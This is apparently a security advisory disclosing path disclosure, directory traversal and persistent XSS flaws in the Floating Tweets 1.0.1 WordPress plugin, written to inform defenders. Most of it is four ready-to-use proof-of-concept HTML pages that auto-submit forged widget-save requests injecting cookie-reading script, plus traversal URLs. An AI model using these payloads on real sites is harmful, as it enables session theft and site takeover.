WordPress Floating Tweets 1.0.1 XSS / Directory Traversal

Change Mirror Download
Hello list!

I want to warn you about multiple vulnerabilities in plugin Floating Tweets
for WordPress.

These are Full path disclosure, Directory Traversal and Cross-Site Scripting
vulnerabilities.

-------------------------
Affected products:
-------------------------

Vulnerable are Floating Tweets 1.0.1 and previous versions.

----------
Details:
----------

Full path disclosure (WASC-13):

http://site/wp-content/plugins/floating-tweets/dcwp_floating_tweets.php

http://site/wp-content/plugins/floating-tweets/dcwp_floating_tweets_widget.php

http://site/wp-content/plugins/floating-tweets/skin.php?skin=1

Directory Traversal (Windows) (WASC-33):

http://site/wp-content/plugins/floating-tweets/skin.php?widget_id=2&skin=1\1

DT allows to read only css-files (in folder /skins/ and subfolders). At
turned off mq it's possible to use Null Byte Injection, which allows via DT
to read arbitrary files.

XSS (persistent XSS) (WASC-08):

Three persistent XSS holes. For attack it's needed to bypass protection
against CSRF (parameter savewidgets). E.g. using reflected XSS.

Floating Tweets XSS.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php"
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][twitterUrl]"
value='" style="xss:expression(alert(document.cookie))'>
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Floating Tweets XSS-2.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php"
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][linkText]"
value='" style="xss:expression(alert(document.cookie))'>
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Floating Tweets XSS-3.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php"
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][tabText]"
value='" style="xss:expression(alert(document.cookie))'>
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Examples of attack for these three XSS on IE7 and previous versions. With
using of MouseOverJacking it's possible to attack any browsers. The code
will execute right away at sending request and further at visiting
http://site/wp-admin/widgets.php.

Floating Tweets XSS-4.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php"
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][tabText]"
value="'});alert(document.cookie);a({b:'">
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Example of attack on any browsers. The code will execute at main page and at
any external pages of the site.
